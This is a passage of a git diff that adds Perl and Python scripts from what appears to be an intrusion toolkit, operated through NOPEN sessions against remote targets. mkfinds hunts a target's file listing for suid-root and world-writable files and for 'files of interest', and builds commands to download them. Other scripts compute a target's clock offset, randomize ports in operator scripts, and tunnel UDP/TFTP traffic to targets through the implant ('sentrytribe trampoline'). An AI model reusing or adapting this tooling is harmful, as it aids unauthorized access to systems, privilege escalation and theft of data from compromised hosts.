"...[sS]......\\s+\\d+\\s+root|". # suid root + "......[sS]...\\s+\\d+\\s+\\S+\\s+root". # suid root + ")/"; + $coolgrep = "tftp.*conf$fuzzy|\/tftproot" ; + $suidgrep = "-..s.....x" ; + $wipefirst = $opt_o ; + $maxsize = int($opt_M) ; + $maxsize = 5000000 unless ($maxsize > 0); + + if ($opt_v) { + print "$prog version $VER\n"; + exit; + } + #default values + while (@ARGV) { + $dir = shift @ARGV; + $destdir = $dir; + die "No such directory $dir" unless -d $dir ; + $current = 0; + } + if (!$dir) { + if (-d "$opdown/cmdout") { + $dir = "$opdown/cmdout"; + $destdir = "$opdir"; + $current = 1; + } else { + $dir = "./"; + $destdir = "./"; + $current = 0; + } + } + if (`uname` =~ /Linux/) { + $www = "www" ; + } else { + $www = "" ; + } + %column = ("m",1, + "a",2, + "c",3, + ); + + $vertext = "$prog version $VER\n" ; + $usagetext="$COLOR_NOTE +Usage: $prog [options] [sourcedir] +$COLOR_NORMAL +OPTIONS + + -A Process all *-find files [from command line this is default, + from within a NOPEN session, defaults to only that target] + -o Use any HOST-find files found to build fresh sorted finds in + $opdir even if there are some there already. + -[mac] Do not bother with sorts for [mac]time (default does all). + -g Skip greps on the HOST-find files found even if not yet done. + -f Fuzzy--When grepping for files of interest, grep anywhere on + the line, not just the end (e.g., get \"php.bak\" files, too). + -J Just get the files of interest automatically (could be MANY!), + rather than merely give a pastable to do so. + -M # Max number of bytes (aggregate) to download when getting files. + [default is $maxsize] + + +mkfinds looks first in $opdown/cmdout and then in ./ for any files +of the form \"HOST-find\". If they exist, lsstamp is used to create up to +three sorted find files $opdir/HOST.find.sorted.time[mac], one for +each of mtime, atime and ctime, and also a $opdir/HOST.find.sorted.mac +file, where the \"[m-][a-][c-]\" field just before the filename indicates +which of those entries are that time. E.g., if a file has m- and atime +the same, it will have \"ma-\" in this field next to that time, and +elsewhere in the .mac file will have the ctime after \"--c\". + + * If you created a new HOST2-find file from another host, just re-run + mkfinds and it will create new sorted files from the new file. + + * All sorting is done in the background, so you immediately get a + prompt back, along with a pastable command or two. + + * mkfinds pops up a window indicating when background sorting is done. + + * mkfinds saves off a .find.SSH file with all files containing \"ssh\". + This is used by the NOPEN script -gs ssh. + + * If not done previously for a particular HOST-find file, the find is + grepped for files of interest, and a $opdir/neatfiles.bysize.HOST + file is created that will get them from the remote system (a \"-fget\" + pastable is provided to do so), smallest to largest, and at most + $maxsize bytes (aggregate). Files of interest are those matching this + (perl) regexp, and are saved in $opdown/neatfiles.HOST: + + $filesgrep + + * Also if not done previously, the HOST-find file is grepped looking + for neat permissions: world writable, suid root and sgid root. Those + files are saved in $opdown/neatfiles.perms.HOST. This is the + regexp used to find these files: + + $permsgrep + +NOTE: mkfinds is automatically run, with no arguments, every time NOPEN + does a -find command. + +"; + usage() if $opt_h or $opt_v ; + +} #myinit +sub usage() { + print "\nFATAL ERROR: @_\n" if ( @_ ); + print $usagetext; + print $vertext if $opt_h or $opt_v ; + print "\nFATAL ERROR: @_\n" if ( @_ ); + exit; +}#usage +sub myexec { + close(STDOUT) ; + close(STDERR) ; + exec("@_"); +}#myexec +sub dbg { + print STDERR "@_\n"; +}#dbg diff --git a/Linux/bin/mkfinds.old b/Linux/bin/mkfinds.old new file mode 100755 index 0000000..366d980 --- /dev/null +++ b/Linux/bin/mkfinds.old @@ -0,0 +1,127 @@ +#!/usr/bin/env perl +$| = 1 ; +$usagetext=" +Usage: mkfinds [-o] + +mkfinds looks first in /current/down/cmdout and then in ./ for any files +of the form \"HOST-find\". If they exist, lsstamp is used to created +three sorted find files /current/HOST.find.sorted.time[mac], one for +each of mtime, atime and ctime. + + * If the sorted files already exist there, nothing is done unless the + \"-o\" overwrite flag is used (use if original HOST-find has grown). + + * If you created a new HOST2-find file from another host, just re-run + mkfinds and it will create new sorted files from the new file. + + * All sorting is done in the background, so you immediately get a + prompt back, along with a pastable command or two. + + * mkfinds pops up a window indicating when background sorting is done. + +Version 1.5 +"; +if (@ARGV) { + if ($ARGV[0] eq "-o") { + $wipefirst = 1; + } else { + print "$usagetext"; + exit ; + } +} +if (-d "/current/down/cmdout") { + $dir = "/current/down/cmdout"; + $destdir = "/current"; + $current = 1; +} else { + $dir = "./"; + $destdir = "./"; + $current = 0; +} +if (`uname` eq "Linux") { + $www = "www" ; +} else { + $www = "" ; +} +@timetypes = ("m","a","c"); +%column = ("m",1, + "a",2, + "c",3, + ); +@finds = (split (/\n/, `ls -1 $dir/*-find 2>/dev/null`) ); +if (@finds) { + if ($#finds > 0) { + $theseorthis = "these source files"; + } else { + $theseorthis = "this source file"; + } + print " +Making sorted finds. Found $theseorthis:\n"; + foreach (@finds) { + print "\t$_\n" ; + } + } else { + die "nothing to do in $dir"; +} +$allpids = "" ; +print "\n"; +foreach $find (@finds) { + ($host) = $find =~ /([^\/]*)-find/ ; + foreach $ext (@timetypes) { + `rm -f $destdir/$host.find.sorted.time$ext 2>/dev/null` if $wipefirst; + if (! -e "$destdir/$host.find.sorted.time$ext") { + $pid = fork; + if ($pid) { + $allpids .= "|$pid" ; + print "Building new $destdir/$host.find.sorted.time$ext (pid=$pid)\n" ; + } else { + my $c = $column{$ext}; + exec "lsstamp -s -c$c $find > $destdir/$host.find.sorted.time$ext"; + } + } else { + print "$destdir/$host.find.sorted.time$ext exists, skipping\n"; + } + } +} +if (! $allpids) { + print "Found no files to create.\n\n"; +} else { + $allpids =~ s/^\|// ; + print "\nNow creating sorted finds in background.\n\n + ps -ef$www | egrep '$allpids' | egrep -v 'perl|grep'\n"; +} +print " ls -al @finds $destdir/*find.sorted*\n +Pastables above for your use.\n"; + +if ($tmp = `ls -al @finds $destdir/*.find.sorted*`) { + print "\n$destdir currently has these sorted finds (may still be growing):\n\n$tmp\n"; +} +if ($allpids) { + open (OUT,"> /tmp/mkfinds.wait") || die "Cannot open /tmp/mkfinds.wait" ; + print OUT <<"EOF"; +#!/usr/bin/env perl +\$| = 1 ; +print "\aThe mkfinds are building..." ; +while (1) { + last unless `ps -ef$www | egrep '$allpids' | egrep -v 'perl|grep'` ; + sleep 2; +} +print "\a:\\n +ls -al @finds $destdir/*.find.sorted*\\n". +\`ls -al @finds $destdir/*.find.sorted*\`. +"\\n\\n\\n + +Hit return, ^D or ^C to close this alert window\\n\\n\\n" ; +sleep 1 ; +print "\a\n" ; + ; +EOF + $xargs = "-bg white -fg darkblue -geometry 119x18+0+0 -title mkfinds_building" ; + close (OUT) ; + `chmod 777 /tmp/mkfinds.wait` ; + # child execs mkfinds.wait + close(STDOUT) ; # these were keeping NOPEN from giving prompt back + close(STDIN) ; + exec ("xterm $xargs -e /tmp/mkfinds.wait") unless ( $pid = fork ) ; + # parent exits - get prompt right back +} diff --git a/Linux/bin/mkoffset b/Linux/bin/mkoffset new file mode 100755 index 0000000..3ff3c46 --- /dev/null +++ b/Linux/bin/mkoffset @@ -0,0 +1,253 @@ +#!/usr/bin/env perl +use File::Basename ; +require Time::Local; +$COLOR_SUCCESS="\033[1;32m"; +$COLOR_FAILURE="\033[1;31m"; +$COLOR_WARNING="\033[1;33m"; +$COLOR_NORMAL="\033[0;39m"; +$COLOR_NOTE="\033[0;34m"; +$VER="1.6" ; +$prog = basename $0 ; + +require "getopts.pl"; + +$usagetext=" +Usage: $prog -h (prints this usage statement) + $prog [ options ] [-f filename] + $prog [ options ] hostname [hostname2 ...] + + -q In quiet mode, only the UTC_OFFSET line is shown, otherwise the + local and remote times used are output. + + -m When the source of the nonlocal time is from icmptime (and so it + has no date associated with it), output three possible offsets: + with the target ahead a day, behind a day or on the same day. This + is useful when target's date is tomorrow because of his timezone + but otherwise his date is correct. + + -n Suppress warnings about icmptime not being able to determine date. + +$prog reads from STDIN or the -f filename provided, looking for a +GMT or UTC timestamp, e.g. from the output of \"date -u\" or icmptime. If +the input has more than one line matching \"##:##:## (UTC/GMT)\", the +final one found is used. If a hostname is given and icmptime is in the +path, and you are root, $prog runs \"icmptime hostname\" as its input. + +On finding a GMT time, $prog computes the UTC_OFFSET, in minutes, +between the time read and this machine's GMT, which is currently: + +" . `date -u` ; + +$vertext = " +$prog version $VER +" ; +# note: these are supposed to be Jan=0 based, like Time::Local::gmtime +%monval = (Jan,0,Feb,1,Mar,2,Apr,3,May,4,Jun,5, + Jul,6,Aug,7,Sep,8,Oct,9,Nov,10,Dec,11); +%monstr = (0,Jan,1,Feb,2,Mar,3,Apr,4,May,5,Jun,6, + Jul,7,Aug,8,Sep,9,Oct,10,Nov,11,Dec); +%daystr=(0,Sun,1,Mon,2,Tue,3,Wed,4,Thu,5,Fri,6,Sat,7,Sun) ; + + + +&usage("bad option(s)") if (! &Getopts( "hf:vdqmn" ) ) ; +&usage if $opt_h ; +if ( $quiet = $opt_q ) { + $COLOR_SUCCESS="" ; + $COLOR_FAILURE="" ; + $COLOR_WARNING="" ; + $COLOR_NORMAL="" ; + $COLOR_NOTE="" ; +} +$nowarnings = $opt_n ; +if ($opt_v) { + print $vertext ; + &done() ; +} +$showmultipledays = ($opt_m) ; + + +if ( @ARGV ) { + $hosts = 1 ; +} else { + $stdin = 1 unless $opt_f; + @ARGV = ("dostdin") ; +} + + +$icmptimenote[2] = "AHEAD one day: " ; +$icmptimenote[1] = "TODAY's date: " ; +$icmptimenote[0] = "BEHIND one day: " ; +foreach $host (@ARGV) { + $usingicmptime=0 ; + if ($opt_f) { + open (IN,"< $opt_f") or usage("Cannot open $opt_f") ; + } elsif (! $stdin ) { + mydie("Cannot use with icmptime unless you are root") unless ( $> == 0 ) ; + if (`which icmptime 2>&1 | grep -v "no icmptime"`) { + print "\n${COLOR_FAILURE} WARNING: \aUsing icmptime which gives remote HH:MM:SS since + GMT 00:00:00. Assuming remainder of his GMT matches ours, + which may not be (his day could be off).\n$COLOR_NORMAL\n" unless ($quiet or $warned++ or $nowarnings) ; + open (IN, "icmptime $host 2>/dev/null |") or usage("Cannot open \"icmptime $host |\"") ; + } else { + usage("icmptime not in path\n") ; + } + } else { + open (IN,"<&STDIN") ; + } + #select STDOUT ; + $debug = $opt_d; + $gotinput = 0 ; + $remotedate = "" ; + while () { + next unless ( /\d\d:\d\d:\d\d (utc|gmt)/i ) ; + next if (/Send.*Timestamp/) ; + $gotinput++ ; + chomp($remotedate = $_) ; + chomp($localdate = `date -u`) ; + if (/receive timestamp/i ) { + $usingicmptime=1; + ($remotetimeonly) = /(\d\d:\d\d:\d\d)/ ; + $remotedate = $localdate ; #assume day/year matches since we do not get day/year + $remotedate =~ s/\d\d:\d\d:\d\d/$remotetimeonly/ ; + print "\n${COLOR_FAILURE} WARNING: \aUsing icmptime which gives remote HH:MM:SS since + GMT 00:00:00. Assuming remainder of his GMT matches ours, + which may not be (his day could be off).\n$COLOR_NORMAL\n" unless ($quiet or $warned++ or $nowarnings) ; + } + # last ; # don't want this--take the last line with gmt/utc, not first + } + close (IN) ; + if ($hosts and ! $gotinput) { + warn "${COLOR_FAILURE}No reply/host\tHOST: $host${COLOR_NORMAL}\n"; + next ; + } + print "${COLOR_NOTE} + LOCAL: $localdate$COLOR_NORMAL + REMOTE: $remotedate +$COLOR_NORMAL" unless ($quiet or $showmultipledays); + + unless ($remotedate) { + warn "${COLOR_FAILURE}No GMT or UTC time found in stdin$COLOR_NORMAL\n"; + next ; + } + if ($usingicmptime and $showmultipledays) { + $loopmore=2 ; + } else { + $loopmore=1 ; + } + while ($loopmore >= 0) { + # get localmin + ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime ; + $localsecs = Time::Local::timegm($sec,$min,$hr,$mday,$mon,$year) ; + $localmin = $localsecs / 60 ; + + # get remotemin + $remotedate =~ s/:/ /g ; + $remotedate =~ s/ / /g ; + ($daystr,$monstr,$mday,$hr,$min,$sec,$tz,$year) = split (/ /,$remotedate) ; + $mon = $monval{$monstr} ; # Jan=0 based + + $remotesecs = Time::Local::timegm($sec,$min,$hr,$mday,$mon,$year) ; + $remotemin = $remotesecs / 60 ; + + if ($usingicmptime and $showmultipledays) { + $remotemin += 24*60 if ($loopmore == 2) ; + $remotemin -= 24*60 if ($loopmore == 0) ; + my ($sec,$min,$hr,$mday,$mon,$year,$wday) = gmtime($remotemin * 60) ; + printf "${COLOR_FAILURE}Assuming $icmptimenote[$loopmore] %s %s %2d %02d:%02d:%02d UTC %4d ", + $daystr{$wday},$monstr{$mon}, $mday, $hr, $min,$sec,1900+$year ; + } + + $offset = int($remotemin - $localmin) ; + #select STDOUT ; + printf "${COLOR_NOTE}UTC_OFFSET=%-9d$COLOR_NORMAL",$offset; + if (($host eq "dostdin") or ($#ARGV == 0)) { + print "\n"; + } else { + print "\t${COLOR_WARNING}HOST: $host${COLOR_NORMAL}\n" ; + } + $loopmore-- ; + last unless ($usingicmptime and $showmultipledays) ; + } +}#endforeach $host (@ARGV) + +sub usage() { + print "\nFATAL ERROR: @_\n" if ( @_ ); + print $usagetext . $vertext; + print "\nFATAL ERROR: @_\n" if ( @_ ); + &done() ; +} # end sub usage + +sub getinput() { + local($prompt,$default,@junk) = @_; + local($ans,$tmp) = ("",""); + + $tmp = $default; + if (chop($tmp) eq " ") { + #damn ^M's in script files + $default = $tmp; + } + + print $prompt; + if ($default) { + print " [$default] "; + } else { + print " "; + } + print "\n"; + chomp($ans = ); + $ans = $default if ( $ans eq "" ); + return $ans; +} # end sub getinput() + +sub ipcheck() { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + local($ipstr,@junk) = @_; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + @octets=split(/\./,$ipstr,-1); + return 0 if ($#octets != 3); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >255) + return 0 if ($_ eq "" || ( /\D/ ) || $_ < 0 || $_ > 255); + } + return 1; +} # end sub ipcheck + +sub done() { + # Just exit unless $NOPENTN. + # If $NOPENTN, dump out "NOPEN:$targetip" + # otherwise "NOPEN!" + if ($NOPENTN) { + if ($targetip) { + print "NOPEN:$targetip\n" ; + } else { + print "NOPEN!\n" ; + } + } + exit; +} + +sub myrand () { + local ($mymin,$mymax) = (@_); + local $tmp; + $tmp=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp %= ($mymax - $mymin + 1); + + $tmp = $tmp + $mymin; + return $tmp; +} +sub mydie { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; +# local (@stuff) = (@_,$hopping) ; + warn "${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL\n" ; +#"\n${COLOR_FAILURE}\a$what $hopping$COLOR_NORMAL\n" ; + exit 1; +} diff --git a/Linux/bin/mkoffset.old b/Linux/bin/mkoffset.old new file mode 100755 index 0000000..3ff3c46 --- /dev/null +++ b/Linux/bin/mkoffset.old @@ -0,0 +1,253 @@ +#!/usr/bin/env perl +use File::Basename ; +require Time::Local; +$COLOR_SUCCESS="\033[1;32m"; +$COLOR_FAILURE="\033[1;31m"; +$COLOR_WARNING="\033[1;33m"; +$COLOR_NORMAL="\033[0;39m"; +$COLOR_NOTE="\033[0;34m"; +$VER="1.6" ; +$prog = basename $0 ; + +require "getopts.pl"; + +$usagetext=" +Usage: $prog -h (prints this usage statement) + $prog [ options ] [-f filename] + $prog [ options ] hostname [hostname2 ...] + + -q In quiet mode, only the UTC_OFFSET line is shown, otherwise the + local and remote times used are output. + + -m When the source of the nonlocal time is from icmptime (and so it + has no date associated with it), output three possible offsets: + with the target ahead a day, behind a day or on the same day. This + is useful when target's date is tomorrow because of his timezone + but otherwise his date is correct. + + -n Suppress warnings about icmptime not being able to determine date. + +$prog reads from STDIN or the -f filename provided, looking for a +GMT or UTC timestamp, e.g. from the output of \"date -u\" or icmptime. If +the input has more than one line matching \"##:##:## (UTC/GMT)\", the +final one found is used. If a hostname is given and icmptime is in the +path, and you are root, $prog runs \"icmptime hostname\" as its input. + +On finding a GMT time, $prog computes the UTC_OFFSET, in minutes, +between the time read and this machine's GMT, which is currently: + +" . `date -u` ; + +$vertext = " +$prog version $VER +" ; +# note: these are supposed to be Jan=0 based, like Time::Local::gmtime +%monval = (Jan,0,Feb,1,Mar,2,Apr,3,May,4,Jun,5, + Jul,6,Aug,7,Sep,8,Oct,9,Nov,10,Dec,11); +%monstr = (0,Jan,1,Feb,2,Mar,3,Apr,4,May,5,Jun,6, + Jul,7,Aug,8,Sep,9,Oct,10,Nov,11,Dec); +%daystr=(0,Sun,1,Mon,2,Tue,3,Wed,4,Thu,5,Fri,6,Sat,7,Sun) ; + + + +&usage("bad option(s)") if (! &Getopts( "hf:vdqmn" ) ) ; +&usage if $opt_h ; +if ( $quiet = $opt_q ) { + $COLOR_SUCCESS="" ; + $COLOR_FAILURE="" ; + $COLOR_WARNING="" ; + $COLOR_NORMAL="" ; + $COLOR_NOTE="" ; +} +$nowarnings = $opt_n ; +if ($opt_v) { + print $vertext ; + &done() ; +} +$showmultipledays = ($opt_m) ; + + +if ( @ARGV ) { + $hosts = 1 ; +} else { + $stdin = 1 unless $opt_f; + @ARGV = ("dostdin") ; +} + + +$icmptimenote[2] = "AHEAD one day: " ; +$icmptimenote[1] = "TODAY's date: " ; +$icmptimenote[0] = "BEHIND one day: " ; +foreach $host (@ARGV) { + $usingicmptime=0 ; + if ($opt_f) { + open (IN,"< $opt_f") or usage("Cannot open $opt_f") ; + } elsif (! $stdin ) { + mydie("Cannot use with icmptime unless you are root") unless ( $> == 0 ) ; + if (`which icmptime 2>&1 | grep -v "no icmptime"`) { + print "\n${COLOR_FAILURE} WARNING: \aUsing icmptime which gives remote HH:MM:SS since + GMT 00:00:00. Assuming remainder of his GMT matches ours, + which may not be (his day could be off).\n$COLOR_NORMAL\n" unless ($quiet or $warned++ or $nowarnings) ; + open (IN, "icmptime $host 2>/dev/null |") or usage("Cannot open \"icmptime $host |\"") ; + } else { + usage("icmptime not in path\n") ; + } + } else { + open (IN,"<&STDIN") ; + } + #select STDOUT ; + $debug = $opt_d; + $gotinput = 0 ; + $remotedate = "" ; + while () { + next unless ( /\d\d:\d\d:\d\d (utc|gmt)/i ) ; + next if (/Send.*Timestamp/) ; + $gotinput++ ; + chomp($remotedate = $_) ; + chomp($localdate = `date -u`) ; + if (/receive timestamp/i ) { + $usingicmptime=1; + ($remotetimeonly) = /(\d\d:\d\d:\d\d)/ ; + $remotedate = $localdate ; #assume day/year matches since we do not get day/year + $remotedate =~ s/\d\d:\d\d:\d\d/$remotetimeonly/ ; + print "\n${COLOR_FAILURE} WARNING: \aUsing icmptime which gives remote HH:MM:SS since + GMT 00:00:00. Assuming remainder of his GMT matches ours, + which may not be (his day could be off).\n$COLOR_NORMAL\n" unless ($quiet or $warned++ or $nowarnings) ; + } + # last ; # don't want this--take the last line with gmt/utc, not first + } + close (IN) ; + if ($hosts and ! $gotinput) { + warn "${COLOR_FAILURE}No reply/host\tHOST: $host${COLOR_NORMAL}\n"; + next ; + } + print "${COLOR_NOTE} + LOCAL: $localdate$COLOR_NORMAL + REMOTE: $remotedate +$COLOR_NORMAL" unless ($quiet or $showmultipledays); + + unless ($remotedate) { + warn "${COLOR_FAILURE}No GMT or UTC time found in stdin$COLOR_NORMAL\n"; + next ; + } + if ($usingicmptime and $showmultipledays) { + $loopmore=2 ; + } else { + $loopmore=1 ; + } + while ($loopmore >= 0) { + # get localmin + ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime ; + $localsecs = Time::Local::timegm($sec,$min,$hr,$mday,$mon,$year) ; + $localmin = $localsecs / 60 ; + + # get remotemin + $remotedate =~ s/:/ /g ; + $remotedate =~ s/ / /g ; + ($daystr,$monstr,$mday,$hr,$min,$sec,$tz,$year) = split (/ /,$remotedate) ; + $mon = $monval{$monstr} ; # Jan=0 based + + $remotesecs = Time::Local::timegm($sec,$min,$hr,$mday,$mon,$year) ; + $remotemin = $remotesecs / 60 ; + + if ($usingicmptime and $showmultipledays) { + $remotemin += 24*60 if ($loopmore == 2) ; + $remotemin -= 24*60 if ($loopmore == 0) ; + my ($sec,$min,$hr,$mday,$mon,$year,$wday) = gmtime($remotemin * 60) ; + printf "${COLOR_FAILURE}Assuming $icmptimenote[$loopmore] %s %s %2d %02d:%02d:%02d UTC %4d ", + $daystr{$wday},$monstr{$mon}, $mday, $hr, $min,$sec,1900+$year ; + } + + $offset = int($remotemin - $localmin) ; + #select STDOUT ; + printf "${COLOR_NOTE}UTC_OFFSET=%-9d$COLOR_NORMAL",$offset; + if (($host eq "dostdin") or ($#ARGV == 0)) { + print "\n"; + } else { + print "\t${COLOR_WARNING}HOST: $host${COLOR_NORMAL}\n" ; + } + $loopmore-- ; + last unless ($usingicmptime and $showmultipledays) ; + } +}#endforeach $host (@ARGV) + +sub usage() { + print "\nFATAL ERROR: @_\n" if ( @_ ); + print $usagetext . $vertext; + print "\nFATAL ERROR: @_\n" if ( @_ ); + &done() ; +} # end sub usage + +sub getinput() { + local($prompt,$default,@junk) = @_; + local($ans,$tmp) = ("",""); + + $tmp = $default; + if (chop($tmp) eq " ") { + #damn ^M's in script files + $default = $tmp; + } + + print $prompt; + if ($default) { + print " [$default] "; + } else { + print " "; + } + print "\n"; + chomp($ans = ); + $ans = $default if ( $ans eq "" ); + return $ans; +} # end sub getinput() + +sub ipcheck() { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + local($ipstr,@junk) = @_; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + @octets=split(/\./,$ipstr,-1); + return 0 if ($#octets != 3); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >255) + return 0 if ($_ eq "" || ( /\D/ ) || $_ < 0 || $_ > 255); + } + return 1; +} # end sub ipcheck + +sub done() { + # Just exit unless $NOPENTN. + # If $NOPENTN, dump out "NOPEN:$targetip" + # otherwise "NOPEN!" + if ($NOPENTN) { + if ($targetip) { + print "NOPEN:$targetip\n" ; + } else { + print "NOPEN!\n" ; + } + } + exit; +} + +sub myrand () { + local ($mymin,$mymax) = (@_); + local $tmp; + $tmp=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp %= ($mymax - $mymin + 1); + + $tmp = $tmp + $mymin; + return $tmp; +} +sub mydie { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; +# local (@stuff) = (@_,$hopping) ; + warn "${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL\n" ; +#"\n${COLOR_FAILURE}\a$what $hopping$COLOR_NORMAL\n" ; + exit 1; +} diff --git a/Linux/bin/mkrandom b/Linux/bin/mkrandom new file mode 100755 index 0000000..1b14870 --- /dev/null +++ b/Linux/bin/mkrandom @@ -0,0 +1,138 @@ +#!/usr/bin/env perl + +use File::Basename; + +#version: +$VER="2.0.0.1"; +# primary +# 9 Jan 2002 + +$progname = basename ${0}; + +$lownum=10025 ; +$highnum=65534 ; + +$versiontext="$progname version $VER +" ; +$usagetext=" +Usage: $progname [-V] [-t] [ [...]] + $progname [-n] [lownum [highnum] ] + + -t enables tagging of modified lines (off by default) + + -V disables verbose mode (default is on) + Verbose mode prints files changed and their randoms to stderr. + + -n This mode generates a single random to stdout. lownum defaults + to $lownum, highnum defaults to $highnum. + + Processes through files on command line or if no arguments then + all *script* and user.* files in $debug/current/etc, changing every + occurence of a string in the form \"randomNN-MM[-II]\" into a random + number from NN to MM, inclusive. File is saved off unmodified as + filename.pre$progname unless that already exists. If the -t option + is used, lines modified by $progname will also occur unmodified, + prefaced by \"#rnd:\" just before the line with the random(s) + inserted. + + Strings of the form randomNN-MM-II, II an integer, will each + be replaced by the same random number. E.g., if your scripts + have \"random1025-65535-1\" in several places, each will be + changed to the same random, but if \"random1025-65535\" appears + more than once, each will be replaced by a different random. + +"; + +$|=1; # unbuffered output + +require "getopts.pl"; +&Getopts( "tdhvVn" ); +&usage() if ($opt_h or $opt_v); +$debug = "." if ($opt_d); +$verbose = 1 unless ($opt_V); +$tagging = 1 if ($opt_t); + +if ( $debug ) { + +} + +if ($opt_n) { + $lownum = 1 * $ARGV[0] if $ARGV[0] ; + $highnum = 1 * $ARGV[1] if $ARGV[1] ; + $rand = &myrand($lownum,$highnum) ; + print "$rand\n"; + exit ; +} elsif ($#ARGV >= 0) { + @files = @ARGV; +} else { + chdir("$debug/current/etc") || die "Could not cd to $debug/current/etc."; + $inetc = " in /current/etc"; + @files = split (/\n/,`ls -1 *script* user.* | grep -v pre$progname`); +} + +$filesmodified = 0; + +foreach (@files) { + $randoms = `grep "random[0-9]*-[0-9]*" $_`; + next if (! $randoms); + rename("$_","$_.pre$progname") if (! -e "$_.pre$progname"); + open (IN,"$_.pre$progname") || die "could not open $_ for read$inetc"; + open (OUT,"> $_") || die "could not open $debug/current/etc/$_ for write$inetc"; + print STDERR "\nmodifying \"$_\"..." if ($verbose); + $filesmodified++; + while () { + $sameline = 0; + # this while reads in original file + while ( ($oldstr) = /(random[0-9]*-[0-9]*)/g ) { + # this while gets multiple randoms on same line + ($min,$max) = ($oldstr =~ /random([0-9]*)-([0-9]*)/ ); + $r = &myrand($min,$max); + + if ( ($instance) = (/$oldstr-([0-9]*)/) ) { + $oldstr .= "-$instance"; + $r = $val{$oldstr} if ($val{$oldstr}); + } + # print commented old line before modifying + if ($tagging) { + print OUT "#rnd:$_" unless $sameline + } + s/$oldstr/$r/; + if ($instance) { + $val{$oldstr} = $r; + } + if ($verbose) { + print STDERR "\n line $.:\t$oldstr\t->\t$r"; + } + $sameline = 1; + } # end while + # dump out line, modified or otherwise + print OUT; + } + print "\n" if ($verbose); +} +close (IN); +close (OUT); +print STDERR "\nNO FILES MODIFIED\n\n" if ($verbose && ! $filesmodified); +print STDERR "\nDone.\n" if ($verbose); + +sub myrand () { + local ($mymin,$mymax) = (@_); + local $tmp; + $tmp=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp %= ($mymax - $mymin + 1); + + $tmp = $tmp + $mymin; + return $tmp; +} + +sub usage () { + print "\nFATAL ERROR: @_\n" if ($#_ >= 0); + print "$versiontext" ; + print "$usagetext" unless $opt_v; + print "\nFATAL ERROR: @_\n" if ($#_ >= 0); + exit ; +} diff --git a/Linux/bin/mystictunnels.py b/Linux/bin/mystictunnels.py new file mode 100644 index 0000000..64e7a22 --- /dev/null +++ b/Linux/bin/mystictunnels.py @@ -0,0 +1,151 @@ +from socket import * +from time import sleep +import getopt +import sys +import logging +import threading +logging.basicConfig(level = logging.ERROR) +log = logging + + +Version = "1.2" + + +def usage(): + print "MysticTunnels Version " + Version + print "Usage: " + sys.argv[0] + " " + print "\t--lport default:690\t" + print "\t--oport default:699\t" + print "\t\t !!! These are only exposed in case you get a port bound error or are just that bored\n" + print "\t--tport default:69\t" + print "\t--sip default:127.0.0.1\t" + print "\t--lip default:127.0.0.1\t" + print "\tThis is a UDP tunnel mechanism for avoiding tftp issues through nopen but feel free to find new and exciting ways to leverage it." + print "\nNow with Sentrytribe!!\n\t--sentry Sets defaults for a sentrytribe trampoline. You can change the defaults with other args" + print "\t Default will be l 5000 192.168.254.72 5000" + print "\n\n\tGo forth and be merry" + sys.exit(0) + + +def checkports(): + try: + if t2.srcport: + t.destport = t2.srcport + except NameError: + log.debug("T2 not Defined yet.") + +class sockbuild(): + def __init__(self, port, addr="127.0.0.1", addrfam=AF_INET, socktype=SOCK_DGRAM): + self.port = port + self.addr = addr + self.addrfam = addrfam + self.socktype = socktype + def build(self): + self.newsock = socket(self.addrfam, self.socktype) + self.newsock.bind((self.addr, self.port)) + return self.newsock + + +class Socketeer(threading.Thread): + def __init__(self, event, checkports, recsock, sendsock, dstaddr="127.0.0.1", destport=69): + threading.Thread.__init__(self) + self.destport = destport + self.dstaddr = dstaddr + self.recsock = recsock + self.sendsock = sendsock + self.srcip = False + self.srcport = False + self.event = event + self.checkports = checkports + + def udprec(self): + log.debug("%s waiting for data", self.getName()) + try: + data, addr = self.recsock.recvfrom(1024) + self.srcip, self.srcport = addr + self.newdata = data + if data: + store = self.srcip + self.event.set() + except timeout: + log.info("Connection ended due to timeout") + self.newdata = False + + def udpsend(self, ip, port): + self.checkports() + log.debug("Sending data via %s to %s on %s"% (self.getName(), self.dstaddr, self.destport)) + self.sendsock.sendto(self.newdata,(self.dstaddr,self.destport)) + + def run(self): + print "Starting new thread %s" % self.getName() + while True: + self.udprec() + if not self.newdata: + continue + self.udpsend(self.dstaddr, self.destport) + +if __name__ == '__main__': + listenport = 690 + sourceport = 699 + destport = 69 + addr="127.0.0.1" + dstaddr="127.0.0.1" + sip=False + sentry = False + addrfam=AF_INET + socktype=SOCK_DGRAM + try: + options, remainder = getopt.getopt(sys.argv[1:], '',["lport=", "oport=", "tport=", "sip=","lip=", "sentry"]) + except getopt.GetoptError as e: + print "\n\n######################################" + usage() + for opt, arg in options: + if opt == "--sentry": + sentry = True + addr = "" if addr == "127.0.0.1" else addr + dstaddr = "192.168.254.72" if dstaddr == "127.0.0.1" else dstaddr + destport = 